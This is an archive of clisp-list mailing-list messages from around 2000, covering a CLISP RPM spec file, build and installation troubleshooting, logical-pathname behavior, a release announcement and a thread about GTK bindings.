University and Michael Stoll of Munich University, both in Germany.
It mostly supports Common Lisp as described in the ANSI CL standard.
It runs on microcomputers (DOS, OS/2, Windows NT, Windows 95, Amiga
500-4000, Acorn RISC PC) as well as on Unix workstations (Linux, SVR4,
Sun4, DEC Alpha OSF, HP-UX, NeXTstep, SGI, AIX, Sun3 and others) and
needs only 2 MB of RAM.
It is free software and may be distributed under the terms of GNU GPL,
while it is possible to distribute commercial applications compiled
with CLISP.
The user interface comes in German, English, French and Spanish.
CLISP includes an interpreter, a compiler, a large subset of CLOS, a
foreign language interface and a socket interface.
An X11 interface is available through CLX and Garnet.

More information on at <http://clisp.cons.org/>.
Sources and selected binaries are available by anonymous ftp from
<ftp://ftp2.cons.org/pub/lisp/clisp>.
The latest and greatest i386 binary RPM is on
<ftp://cellar.goems.com/pub/clisp>.

The package was created by Daniel Tourde <ted@ffa.se> and is built
for  RedHat 6.1.
(RHCN requires that I put their e-mail into the "Packager:" header).

# RPM doesn't provide for comfortable operation: when I want to create a
# package, I have to untar, build and install (--short-circuit works for
# compilation and installation only, so if I want to build a binary RPM,
# I am doomed to untar, compile and install!)  This is unacceptable, so
# I disabled untar completely - I don't need it anyway, I work from a
# CVS repository, and I comment out the build clause and `make install`.
# If *YOU* want to build using RPM, you are welcome to it: just
# uncomment the commands in the appropriate sections (do not uncomment
# the doubly commented lines - they are maintainer-only commands).
# Additionally, RPM barfs on rpmrc created with `rpm --showrc >
/etc/rpmrc`
# which is an unspeakable abomination.
# I reported all these as bugs and was told "it's a feature, not a bug".

%prep
cat <<EOF
This will build RPMs for CLISP: %{name}-%{version}-%{release}.
We assume that you are in the top level source directory already.
No unpacking or patching is done - we go straight to build and
creating the RPMs.  See 'clisp.spec' for more information.
EOF
#%setup -T -D -n /usr/src/%{name}
%setup -n /usr/src/redhat/BUILD/%{name}-%{version}
%build
##rm -rf src/VERSION
##date +%Y-%02m-%02d > src/VERSION
##make -f Makefile.devel src/version.h
## make -f Makefile.devel
## make -f Makefile.devel check-configures
#echo "Uncomment 'configure' in 'clisp.spec' if you want to build";
export LINGUAS="en_US en de es fr"
./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \
    --with-module=regexp --with-module=bindings/linuxlibc6 \
    --with-module=clx/new-clx --with-export-syscalls
cd src
./makemake  --prefix=/usr --fsstnd=redhat --with-module=wildcard \
    --with-module=regexp --with-module=bindings/linuxlibc6 \
    --with-module=clx/new-clx --with-export-syscalls \
    --with-readline --with-gettext --with-dynamic-ffi > Makefile
make config.lsp
make
make check

%install
#echo "Uncomment 'make install' in 'clisp.spec' if you want to install";
cd src
make install

%files
%dir /usr/lib/clisp/
/usr/lib/clisp/*
/usr/bin/clisp
%dir /usr/doc/%{name}-%{version}/
/usr/doc/%{name}-%{version}/*
/usr/man/man3/clreadline.3
/usr/man/man1/clisp.1
/usr/share/locale/de/LC_MESSAGES/clisp.mo
/usr/share/locale/en/LC_MESSAGES/clisp.mo
/usr/share/locale/es/LC_MESSAGES/clisp.mo
/usr/share/locale/fr/LC_MESSAGES/clisp.mo

-- 
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Daniel TOURDE                                   E-mail : ted@ffa.se
The Aeronautical Research Institute of Sweden   Tel : +46 8 55 54 93 44
P.O. Box 11021 S-161 11 BROMMA, Sweden          Fax : +46 8    25 34 81
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thanks!

 - did you upload the source and binary rpms to rhcn?

 - why did you use configure/makemake/make instead of configure --build?

 - why did you discard the automatic revision setting?

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Hi !

>  - did you upload the source and binary rpms to rhcn?

Not yet.

 
>  - why did you use configure/makemake/make instead of configure --build?

Cause I did not clearly understood the meaning of the last option of
configure. It became --build build and it sounded strange to me. I'm not
an expert in the domain (yet...), I'm sorry.....

 
>  - why did you discard the automatic revision setting?

Cause it simply did not work. First if a .revison (if I have a good
memory) file was not there it did not continue, when I created one with
the value 1 inside, the value was not increased when I was running
several times rpm -ba. So, I removed it and fixed it by hand. I did not
want to bother about such thing. Sorry.

Thanks for your help. Best regards

		Daniel

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>>>> In message <38969E8F.5721C91C@ffa.se>
>>>> On the subject of "Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1"
>>>> Sent on Tue Feb 01 03:51:49 EST 2000
>>>> Honorable Daniel Tourde <ted@ffa.se> writes:
 >> 
 >> >  - why did you use configure/makemake/make instead of configure --build?
 >> 
 >> Cause I did not clearly understood the meaning of the last option of
 >> configure. It became --build build and it sounded strange to me. I'm
 >> not an expert in the domain (yet...), I'm sorry.....

`--build' tells `configure' to configure, build and check.

`build' tells `configure' to configure the build in the separate
directory, named `build'.  it ***NOT*** a good idea to do build in the
source directory.

please try:

./configure --help

 >> >  - why did you discard the automatic revision setting?
 >> 
 >> Cause it simply did not work. First if a .revison (if I have a good
 >> memory) file was not there it did not continue, when I created one
 >> with the value 1 inside, the value was not increased when I was
 >> running several times rpm -ba. So, I removed it and fixed it by
 >> hand. I did not want to bother about such thing. Sorry.

worked for me.
strange.
what rpm version?

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Sam writes:

> `build' tells `configure' to configure the build in the separate
> directory, named `build'.  it ***NOT*** a good idea to do build in the
> source directory.

Building in the source directory is possible, but be aware that

- if you want two or more different builds (for different machines, or
  with different compilers or compilation flags), then the source directory
  must be clean: building in the source directory _and_ outside won't work.

- the clean-up command is different: "make distclean" in one case, "rm -rf ..."
  in the other.

For most GNU style packages, you must build in the source directory if your
"make" doesn't support VPATH.

For clisp, you must build in the source directory if your "make" gets in
trouble with symbolic links; this is the case with HP-UX "make".

On non-Unix platforms, you have to build clisp in the source directory;
the makefiles are not setup to support $(srcdir).

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Hi Sam !

>  >> >  - why did you use configure/makemake/make instead of configure --build?
>  >>
>  >> Cause I did not clearly understood the meaning of the last option of
>  >> configure. It became --build build and it sounded strange to me. I'm
>  >> not an expert in the domain (yet...), I'm sorry.....
> 
> `--build' tells `configure' to configure, build and check.
> 
> `build' tells `configure' to configure the build in the separate
> directory, named `build'.  it ***NOT*** a good idea to do build in the
> source directory.

OK. Thanks.


>  >> >  - why did you discard the automatic revision setting?
>  >>
>  >> Cause it simply did not work. First if a .revison (if I have a good
>  >> memory) file was not there it did not continue, when I created one
>  >> with the value 1 inside, the value was not increased when I was
>  >> running several times rpm -ba. So, I removed it and fixed it by
>  >> hand. I did not want to bother about such thing. Sorry.
> 
> worked for me.
> strange.
> what rpm version?

RPM version 3.0.3

Thanks for your advice. Best regards

		Daniel

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Hi Daniel,

>>>> In message <3897DBE0.DB6DB00D@ffa.se>
>>>> On the subject of "Re: [clisp-list] Clisp-1999.07.22 RPM for RedHat 6.1"
>>>> Sent on Wed Feb 02 02:26:36 EST 2000
>>>> Honorable Daniel Tourde <ted@ffa.se> writes:
 >> >
 >> > what rpm version?
 >> 
 >> RPM version 3.0.3

that's the problem - I used 2.something.
apparently they changed the macro stuff.
can you figure out how to fix this?
thanks

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Shannon Harvey writes:
> I just recently attempted to install clisp but I'm running into 
> problems with it.  I using Redhat 6.0 (kernel 2.2.5-15) and running 
> glibc 2.2.  I first ran make as per the instructions, but when I run 
> the next statement in the instructions (base/lisp.run -M 
> base/lispinit.mem), I get the following message:
> ...
> [1]> 
> *** - handle_fault error2 ! address = 0x30 not in 
> [0x201D7000,0x202787D8) !
> SIGSEGV cannot be cured. Fault address = 0x30.
> Segmentation fault

The probable cause are differences between the shared libraries of your
system and those on the system where the binary package was built.

You will get a correctly running binary by recompiling the sources
(which you find at ftp://clisp.cons.org/pub/lisp/clisp/source/ or
sunsite.unc.edu).

Btw, what you are running is probably glibc-2.1, not glibc-2.2. The latter
is not released.

Bruno


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Hi,

I encountered the following problem when installing CLisp

c:\temp\clisp>lisp.exe -M lispinit.mem
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I I I I I I I      8         8           8     8        8    8
  I I I I I I I      8         8           8      ooooo   8oooo
  I  \ `+' /  I      8         8           8           8  8
   \  `-+-'  /       8     o   8           8     o     8  8
    `-__|__-'         ooooo    8oooooo  ooo8ooo   ooooo   8
        |
  ------+------     Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
                    Copyright (c) Bruno Haible, Marcus Daniels 1994-1997


> (compile-file "config.lsp")

*** - UNIX library error 9 (EBADF): Bad file number
1. Break>
> (lisp-implementation-version)
"1997-12-06 (December 1997)"
>
Bye.
--------------------

Can anybody help me, please?

I use 4DOS under Win95.

Thanks.
Thiago


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Thiago F. G. Albuquerque writes:

> I encountered the following problem when installing CLisp
> ...
> *** - UNIX library error 9 (EBADF): Bad file number
> 1. Break>
> > (lisp-implementation-version)
> "1997-12-06 (December 1997)"
> >
> ...
> I use 4DOS under Win95.

You are using the DOS binaries of CLISP on Win32. This is suboptimal; it
may cause problems with long filenames and other things. DOS /= Win32.

I suggest you try the Win32 binaries, available from
ftp://clisp.cons.org/pub/lisp/clisp/binaries/win32/.

Bruno


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At 16:19 07/02/00 +0100, you wrote:
>Thiago F. G. Albuquerque writes:
>
>> I encountered the following problem when installing CLisp
>> ...
>> *** - UNIX library error 9 (EBADF): Bad file number
>> 1. Break>
>> > (lisp-implementation-version)
>> "1997-12-06 (December 1997)"
>> >
>> ...
>> I use 4DOS under Win95.
>
>You are using the DOS binaries of CLISP on Win32. This is suboptimal; it
>may cause problems with long filenames and other things. DOS /= Win32.

Yes, I know. I am using it because the DOS port has a better shell. The
Win32 port doesn't support the arrow keys, nor the completion feature (TAB).

Thiago


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Thiago F. G. Albuquerque writes:

> >You are using the DOS binaries of CLISP on Win32. This is suboptimal; it
> >may cause problems with long filenames and other things. DOS /= Win32.
> 
> Yes, I know. I am using it because the DOS port has a better shell. The
> Win32 port doesn't support the arrow keys

Windows 95/98 box does not support the arrow keys. Windows NT does. Ask
Microsoft why...

> nor the completion feature (TAB).

Yes, this is missing from the native Win32 ports of clisp, indeed.

Bruno


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Hi,

I've noticed that when I type "()" at the CLisp prompt, the cursor moves to
the first bracket. However, when I type another character, say 'a', it is
printed after both brackets, and the cursor comes back to its normal
behaviour. Like this:

>()	; the cursor is now under '('
>()a_	; I typed 'a'

Is this a bug or a feature? Can I turn it off?

__________________________
Thiago


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>>>> In message <3.0.5.32.20000207222242.0079c460@post.ambr.com.br>
>>>> On the subject of "[clisp-list] Typing "()" at CLisp prompt"
>>>> Sent on Tue Feb 08 03:57:33 EST 2000
>>>> Honorable Thiago F.G. Albuquerque <thiagofga@ambr.com.br> writes:
 >> 
 >> I've noticed that when I type "()" at the CLisp prompt, the cursor
 >> moves to the first bracket. However, when I type another character,
 >> say 'a', it is printed after both brackets, and the cursor comes
 >> back to its normal behaviour. Like this:
 >> 
 >> >()	; the cursor is now under '('
 >> >()a_	; I typed 'a'
 >> 
 >> Is this a bug or a feature?

feature, very nice and useful.

CLISP uses GNU readline, which allows you to edit the command line,
retrieve old input, match parentheses and do symbol completion.
Please read the clreadline file in the doc directory.

 >> Can I turn it off?

configure --with-noreadline

next time please specify your version and platform.

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At 11:17 08/02/00 -0500, you wrote:
>>>>> In message <3.0.5.32.20000207222242.0079c460@post.ambr.com.br>
>>>>> On the subject of "[clisp-list] Typing "()" at CLisp prompt"
>>>>> Sent on Tue Feb 08 03:57:33 EST 2000
>>>>> Honorable Thiago F.G. Albuquerque <thiagofga@ambr.com.br> writes:
> >> 
> >> I've noticed that when I type "()" at the CLisp prompt, the cursor
> >> moves to the first bracket. However, when I type another character,
> >> say 'a', it is printed after both brackets, and the cursor comes
> >> back to its normal behaviour. Like this:
> >> 
> >> >()	; the cursor is now under '('
> >> >()a_	; I typed 'a'
> >> 
> >> Is this a bug or a feature?
>
>feature, very nice and useful.

Please forgive my ignorance (I'm new to LISP), but what is it good for?

> >> Can I turn it off?
>
>configure --with-noreadline

No, I like the rest of the readline features -- I want to disable just this
one. Is it possible?

I use CLISP 1997-12-06 on Linux.

Thanks,
Thiago


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>>>>> "Thiago" == Thiago F G Albuquerque <thiagofga@ambr.com.br> writes:

sds> feature, very nice and useful.

Thiago> Please forgive my ignorance (I'm new to LISP), but what is it
Thiago> good for?

It helps you see where the balancing paren is, and thus helps you to
type the correct number of them.

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Info from SUMMARY file:
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Attempted to compile with gcc 2.95 and rolled back 
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please visit the clisp survey:

https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=10073

also, you can make suggestions on this list wrt questions you want to be
asked there.

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Sam writes:
> please visit the clisp survey:
> 
> https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=10073
> 
> also, you can make suggestions on this list wrt questions you want to be
> asked there.

But note that you need to log in as a sourceforge user _before_ you start
answering the survey.

Bruno


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[2]> (setf (logical-pathname-translations "clocc")
      '(("**;*" "/usr/local/src/clocc/**/*")))
((#S(LOGICAL-PATHNAME :HOST "CLOCC" :DEVICE NIL
       :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL
       :VERSION NIL
    )
    "/usr/local/src/clocc/**/*"
))
[3]> (setf (logical-pathname-translations "cllib")
      '(("**;*" "clocc:src;cllib;**;*")))
((#S(LOGICAL-PATHNAME :HOST "CLLIB" :DEVICE NIL
       :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL
       :VERSION NIL
    )
    "clocc:src;cllib;**;*"
))
[4]> (translate-logical-pathname "cllib:base")
 
*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY) "base" NIL NIL) do not fit into #P"clocc:src;cllib;**;*"
1. Break [5]> 

what's wrong?

(works with cmucl)

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Sam writes:

> [3]> (setf (logical-pathname-translations "cllib")
>       '(("**;*" "clocc:src;cllib;**;*")))
> ((#S(LOGICAL-PATHNAME :HOST "CLLIB" :DEVICE NIL
>        :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE NIL
>        :VERSION NIL
>     )
>     "clocc:src;cllib;**;*"
> ))
> [4]> (translate-logical-pathname "cllib:base")
>  
> *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY) "base" NIL NIL) do not fit into #P"clocc:src;cllib;**;*"
> 1. Break [5]> 
> 
> what's wrong?

(type-of '#P"clocc:src;cllib;**;*")  ==>  PATHNAME not LOGICAL-PATHNAME

The pathname you gave was a simple string. With clisp, when you want a
logical pathname, you have to say it explicitly:

(setf (logical-pathname-translations "cllib")
      `(("**;*" ,(logical-pathname "clocc:src;cllib;**;*"))))
                  ================

Bruno


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    I am new to LISP and am trying to implement the Towers of Hanoi
using CLISP under Windows/98 using the Bruno Haible, Sam Steingold 1999
version. I am getting execution errors under Windows ("This program has
performed an illegal operation and will be shut down") when I enter
"lisp -M lispinit.mem" and perhaps you have some ideas.

Following is a crude version, but I continue to get invalid DEFUN
-----------------------------------------------------------------------------------------

(defun move (disk start finish temp)
  (cond
  ((gt disk 0 )
   (move ((- disk 1) start temp finish))
;  (print ("move disk" disk "from tower" start "to tower" finish))
   (print (disk))
   (move (( - disk 1) temp finish start)))))

   (move (2,1,3,2))


Regards,

Tomas Jimenez





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>>>> In message <38BAFDE0.936D3951@home.com>
>>>> On the subject of "[clisp-list] CLISP error under Windows/98"
>>>> Sent on Mon Feb 28 18:09:52 EST 2000
>>>> Honorable Tomas Jimenez <tjimenez3@home.com> writes:

 >>     I am new to LISP and am trying to implement the Towers of Hanoi
 >> using CLISP under Windows/98 using the Bruno Haible, Sam Steingold
 >> 1999 version. I am getting execution errors under Windows ("This
 >> program has performed an illegal operation and will be shut down")
 >> when I enter "lisp -M lispinit.mem" and perhaps you have some ideas.

windows98 is not a good OS.
winNT is better, Linux is better yet.

 >> Following is a crude version, but I continue to get invalid DEFUN

what's the precise error message?

 >> (defun move (disk start finish temp)
 >>   (cond
 >>   ((gt disk 0 )
 >>    (move ((- disk 1) start temp finish))

       (move (- disk 1) start temp finish)

 >> ;  (print ("move disk" disk "from tower" start "to tower" finish))

    ;  (print "move disk" disk "from tower" start "to tower" finish)

 >>    (print (disk))

       (print disk)

 >>    (move (( - disk 1) temp finish start)))))

       (move ( - disk 1) temp finish start))))

 >>    (move (2,1,3,2))

       (move 2 1 3 2)


why don't you grab a good lisp textbook, like 
http://www.eecs.harvard.edu/onlisp/acl/
http://www.eecs.harvard.edu/onlisp/onlisp/

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qqqq

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Hi

I am working on the following little function in MK:DEFSYSTEM 4.0

(defun namestring-probably-logical-p (namestring)
  (and (stringp namestring)
       (typep (parse-namestring namestring) 'logical-pathname)))

Unfortunately, in CLisp

[1]> (setf (logical-pathname-translations "XXX")
`(("*.*" "/user/zut/")))
((#S(LOGICAL-PATHNAME :HOST "XXX" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
       :NAME :WILD :TYPE :WILD :VERSION NIL
    )
    "/user/zut/"
))
[2]> (translate-logical-pathname "XXX:zot.c")
#P"/user/zut/zot.c"
[3]> (parse-namestring "XXX:zot.c")
#P"XXX:zot.c" ;
9
[4]> (type-of *)
PATHNAME
[5]> (describe **)
 
#P"XXX:zot.c" is a pathname, with the following components:
DIRECTORY = 
NAME = XXX:zot
TYPE = .c

[6] ;;; define the function NAMESTRING-PROBABLY-LOGICAL-P.
NAMESTRING-PROBABLY-LOGICAL-P 
[7]> (namestring-probably-logical-p "XXX:zot.c")
NIL
[8]> (translate-logical-pathname (parse-namestring "XXX:zot.c"))
#P"XXX:zot.c"
[9]> (type-of *)
PATHNAME


It may be that I have not updated my version later, but this is
incorrect w.r.t. the Hyperspec.  I.e. PARSE-NAMESTRING should
recognize a logical pathname and parse it accordingly.  Instead it
seems to return a PATHNAME with an unparsed name.

Note that CMUCL, Harlequin and ACL go the extra step to return
something for which (typep * 'logical-pathname) is T.  Hence, my
function may be wrong, but also CLisp's behavior is non-conformant in
this case.

Cheers

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this is the behavior documented in the impnotes.html.
yes, it is not compliant (it is quite ugly that the type of the result
is determined by the presence of a semicolon in the pathname).
for now, you might want to check for #\: yourself and call
`logical-pathname'.

[note that `reply-to' is set to <clisp-list@lists.sourceforge.net>]

Bruno, how about lisp:*ansi-parse-namestring*?

>>>> In message <200003011633.RAA17040@copernico.parades.rm.cnr.it>
>>>> On the subject of "[clisp-list] PARSE-NAMESTRING and LOGICAL-PATHNAMEs"
>>>> Sent on Wed Mar 01 11:39:08 EST 2000
>>>> Honorable Marco Antoniotti <marcoxa@parades.rm.cnr.it> writes:
 >> 
 >> I am working on the following little function in MK:DEFSYSTEM 4.0
 >> 
 >> (defun namestring-probably-logical-p (namestring)
 >>   (and (stringp namestring)
 >>        (typep (parse-namestring namestring) 'logical-pathname)))
 >> 
 >> Unfortunately, in CLisp
 >> 
 >> [1]> (setf (logical-pathname-translations "XXX")
 >> `(("*.*" "/user/zut/")))
 >> ((#S(LOGICAL-PATHNAME :HOST "XXX" :DEVICE NIL :DIRECTORY (:ABSOLUTE)
 >>        :NAME :WILD :TYPE :WILD :VERSION NIL
 >>     )
 >>     "/user/zut/"
 >> ))
 >> [2]> (translate-logical-pathname "XXX:zot.c")
 >> #P"/user/zut/zot.c"
 >> [3]> (parse-namestring "XXX:zot.c")
 >> #P"XXX:zot.c" ;
 >> 9
 >> [4]> (type-of *)
 >> PATHNAME
 >> [5]> (describe **)
 >> 
 >> #P"XXX:zot.c" is a pathname, with the following components:
 >> DIRECTORY =
 >> NAME = XXX:zot
 >> TYPE = .c
 >> 
 >> [6] ;;; define the function NAMESTRING-PROBABLY-LOGICAL-P.
 >> NAMESTRING-PROBABLY-LOGICAL-P
 >> [7]> (namestring-probably-logical-p "XXX:zot.c")
 >> NIL
 >> [8]> (translate-logical-pathname (parse-namestring "XXX:zot.c"))
 >> #P"XXX:zot.c"
 >> [9]> (type-of *)
 >> PATHNAME
 >> 
 >> 
 >> It may be that I have not updated my version later, but this is
 >> incorrect w.r.t. the Hyperspec.  I.e. PARSE-NAMESTRING should
 >> recognize a logical pathname and parse it accordingly.  Instead it
 >> seems to return a PATHNAME with an unparsed name.
 >> 
 >> Note that CMUCL, Harlequin and ACL go the extra step to return
 >> something for which (typep * 'logical-pathname) is T.  Hence, my
 >> function may be wrong, but also CLisp's behavior is non-conformant
 >> in this case.

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> 
> this is the behavior documented in the impnotes.html.
> yes, it is not compliant (it is quite ugly that the type of the result
> is determined by the presence of a semicolon in the pathname).
> for now, you might want to check for #\: yourself and call
> `logical-pathname'.

I agree the spec is ugly, but I need a *portable* way to determine
whether a string is a logical pathname string which .... here is the
catch ... works also on MCL.

I suppose that I'll have to trap errors and use return a value based on
that.

Cheers


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Subject: [clisp-list] new CLISP release

A new release, version 2000-03-06, is available at

         ftp://clisp.sourceforge.net/pub/clisp/
and
         ftp://clisp.cons.org/pub/lisp/clisp/source/

Also available are binary packages for the following platforms:

         i386-suse63-linux
         i386-redhat61-linux
         alpha-redhat-linux
         sparc-sun-solaris2.4

in
         ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/
and
         ftp://clisp.cons.org/pub/lisp/clisp/binaries/


Changes, from the NEWS file:


User visible changes
--------------------

* New functions READ-FLOAT and WRITE-FLOAT.

* Unicode support: The pretty-printer and FORMAT ~T now handle non-spacing and
  double-width Unicode characters correctly. Pretty-printer slows down by 30%.

* Fixed two bugs in TRANSLATE-PATHNAME: Substitution of "**" did not work.
  Substitutions without version into non-logical pathnames crashed.

* Dutch translations of the user interface messages have been added
  Thanks to Tijs van Bakel <smoke@casema.net>.

* When configured with --with-export-syscalls, :SYSCALLS is in *FEATURES*
  and functions POSIX:RESOLVE-IP-ADDR, POSIX:USER-DATA, POSIX:FILE-STAT,
  POSIX:SYSINFO, POSIX:RESOURCE-USAGE-LIMITS,
  as well as those libm.so functions which do not have a better
  counterpart in ANSI CL are available.

* New supported character sets in package CHARSET: ISO-8859-16, KOI8-U,
  KOI8-RU, EUC-JP, SHIFT-JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1,
  EUC-CN, HZ, GBK, CP936, EUC-TW, BIG5, CP950, ISO-2022-CN, ISO-2022-CN-EXT,
  EUC-KR, CP949, ISO-2022-KR, ARMSCII-8, GEORGIAN-ACADEMY, GEORGIAN-PS,
  TIS-620, MULELAO-1, CP1133, VISCII, TCVN, UTF-16, UTF-7, MACINTOSH (as an
  alias for MAC-ROMAN).

Other modifications
-------------------

* Speed up some sequence functions when operating on vectors: MAKE-SEQUENCE,
  CONCATENATE, COPY-SEQ, COERCE, SUBSEQ, REPLACE, FILL, REVERSE, NREVERSE,
  REMOVE[-IF[-NOT]] with :START/:END, SUBSTITUTE[-IF[-NOT]] with :START/:END,
  SORT.

* Speed up ADJUST-ARRAY.


Enjoy!
                   Bruno


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[Sorry if you receive this announcement multiple times.]


A new release, version 2000-03-06, is available at

         ftp://clisp.sourceforge.net/pub/clisp/
and
         ftp://clisp.cons.org/pub/lisp/clisp/source/

Also available are binary packages for the following platforms:

         i386-suse63-linux
         i386-redhat61-linux
         alpha-redhat-linux
         sparc-redhat51-linux
         sparc-sun-solaris2.4

in
         ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/
and
         ftp://clisp.cons.org/pub/lisp/clisp/binaries/


Changes, from the NEWS file:


User visible changes
--------------------

* New functions READ-FLOAT and WRITE-FLOAT.

* Unicode support: The pretty-printer and FORMAT ~T now handle non-spacing and
  double-width Unicode characters correctly. Pretty-printer slows down by 30%.

* Fixed two bugs in TRANSLATE-PATHNAME: Substitution of "**" did not work.
  Substitutions without version into non-logical pathnames crashed.

* Dutch translations of the user interface messages have been added
  Thanks to Tijs van Bakel <smoke@casema.net>.

* When configured with --with-export-syscalls, :SYSCALLS is in *FEATURES*
  and functions POSIX:RESOLVE-IP-ADDR, POSIX:USER-DATA, POSIX:FILE-STAT,
  POSIX:SYSINFO, POSIX:RESOURCE-USAGE-LIMITS,
  as well as those libm.so functions which do not have a better
  counterpart in ANSI CL are available.

* New supported character sets in package CHARSET: ISO-8859-16, KOI8-U,
  KOI8-RU, EUC-JP, SHIFT-JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1,
  EUC-CN, HZ, GBK, CP936, EUC-TW, BIG5, CP950, ISO-2022-CN, ISO-2022-CN-EXT,
  EUC-KR, CP949, ISO-2022-KR, ARMSCII-8, GEORGIAN-ACADEMY, GEORGIAN-PS,
  TIS-620, MULELAO-1, CP1133, VISCII, TCVN, UTF-16, UTF-7, MACINTOSH (as an
  alias for MAC-ROMAN).

Other modifications
-------------------

* Speed up some sequence functions when operating on vectors: MAKE-SEQUENCE,
  CONCATENATE, COPY-SEQ, COERCE, SUBSEQ, REPLACE, FILL, REVERSE, NREVERSE,
  REMOVE[-IF[-NOT]] with :START/:END, SUBSTITUTE[-IF[-NOT]] with :START/:END,
  SORT.

* Speed up ADJUST-ARRAY.


Enjoy!
                   Bruno


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Subject: [clisp-list] Building separate full images with NCLX and MIT CLX

While building CLISP from source I would like to generate two separate
full--i.e. not base--images, one with NCLX and the other with MIT CLX:

1) Can I just add new-clx and mit-clx to the MODULES variable in the
Makefile and build as usual?

2) Is the makefile structured so that these modules are mutually exclusive?

3) Do I have to build one image as usual, say the one with NCLX, and then
separately compile the other with the Makefile.clisp of MIT CLX?


Paolo
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On Wed, 08 Mar 2000 21:00:29 +0100, Paolo Amoroso <amoroso@mclink.it>
wrote:

> While building CLISP from source I would like to generate two separate
> full--i.e. not base--images, one with NCLX and the other with MIT CLX:
[...]
> 3) Do I have to build one image as usual, say the one with NCLX, and then
> separately compile the other with the Makefile.clisp of MIT CLX?

For those who are wondering: this does the trick. The process generates a
base image with MIT CLX.

Be sure to customize the value of the `prefix' variable in the makefile if
necessary, and check that the directory defined by `lisplibdir' actually
exists before doing `make install'. Also note that, because of the
structure of linking sets, Lisp binaries compiled with the NCLX image do
not work with the MIT CLX image, and vice versa.


Paolo
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From haible@ilog.fr  Mon Mar 13 05:25:22 2000
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Mail forwarded from "Henry" <yongmk@omen.net.au>. Can someone please help him?

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Hi Bruno, I've installed Clisp on my Win98 system. When I tried to execute
it, it says
    "Cannot reserve address range 0x1A5C0000-0x6697FFFF . GetLastEr
    _NOT_ENOUGH_MEMORY): Not enough storage is available to proces
    C:\PROGRA~1\CLISPP~1\LISP.EXE: Not enough memory for Lisp."

I've 128mb of RAM on my system.
Can you plesae help me out??

Thanks in advance.

- -HY


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>>>> In message <200003131320.OAA16787@jaures.ilog.fr>
>>>> On the subject of "[clisp-list] Cannot run clisp program, says Not enough memory""
>>>> Sent on Mon Mar 13 08:26:52 EST 2000
>>>> Honorable Bruno Haible <haible@ilog.fr> writes:
 >> Mail forwarded from "Henry" <yongmk@omen.net.au>. Can someone please help him?
 >> 
 >> Hi Bruno, I've installed Clisp on my Win98 system. When I tried to execute
 >> it, it says
 >>     "Cannot reserve address range 0x1A5C0000-0x6697FFFF . GetLastEr
 >>     _NOT_ENOUGH_MEMORY): Not enough storage is available to proces
 >>     C:\PROGRA~1\CLISPP~1\LISP.EXE: Not enough memory for Lisp."
 >> 
 >> I've 128mb of RAM on my system.
 >> Can you plesae help me out??

1. what version of CLISP are you using?

2. what is the command line you use to run clisp?

3. did you try the -M option?

4. do you subscribe to clisp-list?

-- 
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Subject: [clisp-list] [comp.lang.lisp] Gtk bindings for CMUCL/CLISP

The appended message answers one of the most popular clisp survey
(http://sourceforge.net/survey/survey.php?group_id=1355&survey_id=10073)
feature requests - for a GUI development tool.

While CLISP already comes with (2 implementations of) CLX, it is
considered too low-level for easy development.

If there is a sufficient user demand, the developers might think of
discussing the idea of considering talking about trying to integrate clg
into the standard clisp distribution. :-)

-- 
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Micros**t is not the answer.  Micros**t is a question, and the answer is Linux,
(http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation.
Bill Gates is great, as long as `bill' is a verb.

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From: Espen S Johnsen <espejohn@online.no>
Subject: Gtk bindings for CMUCL/CLISP
Organization: -
Message-ID: <x7g0ttp8ev.fsf_-_@online.no>
References: <h%ax4.3213$fE5.13748@typhoon2.kc.rr.com> <38C57FDA.E64B546D@cra.com> <8EF0C3C93rcl211is9nyuedu@128.122.253.77> <87og8qtf3x.fsf@senstation.vvf.fi> <x7u2ic0zql.fsf@online.no>
Date: Tue, 14 Mar 2000 21:07:52 GMT

I writes:

> Hannu Koivisto <azure@iki.fi.ns> writes:
> 
> > Here's another one for 1.2: <URL:ftp://ftp.sol.no/users/e/espejohn/>.
> 
> Unfornately my ISP has closed anonymous FTP so this URL is no longer
> valid. I will try to make it available throught HTTP in a few days. In
> the meanwhile I could mail it to anyone interested.

It is now avaible at <URL:http://home.sol.no/~espejohn>. To avoid confuison
with Gilbert Baumann's package with the same name, I have changed the name
to clg. Unfornately I will not be able to answer any messages or mails
regarding this package for the next two months.

-- 
Espen
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On 15 Mar 00, Sam Steingold <sds@gnu.org> wrote:
> If there is a sufficient user demand, the developers might think of
> discussing the idea of considering talking about trying to integrate clg
> into the standard clisp distribution. :-)

I'd love to see this happen.  Consider me a demanding user.  :)

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| 
| While CLISP already comes with (2 implementations of) CLX, it is
| considered too low-level for easy development.
|

What about Garnet ? I'm a very new Garnet user and I must say that I like it. 
It comes with an excelent doc and several apps, the most usefull being
a GUI builder. Of course some people say it looks ugly...
  
| If there is a sufficient user demand, the developers might think of
| discussing the idea of considering talking about trying to integrate clg
| into the standard clisp distribution. :-)
| 

I don't know clg but I have installed Gilbert Baumann's package.
Does clg follow the same principle (the GUI is running in a separate 
process and controled via sockets) ?
I was wondering what are the advantages of this approach compared with
a binding via a FFI. 
In the case of a separate process, objects of the interface are duplicated
(on the lisp side and on the c side). Am I right ?  

Gilbert Baumann did not use his gtk package for closure (he used clue). Why ?

Thibault Langlois




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>>>>> "tl" == Thibault Langlois <tl@azimuth.inesc.pt> writes:

  tl> What about Garnet ? I'm a very new Garnet user and I must say
  tl> that I like it. It comes with an excelent doc and several apps,
  tl> the most usefull being a GUI builder. Of course some people say
  tl> it looks ugly...

I've been playing with it recently, and it seems powerful, though
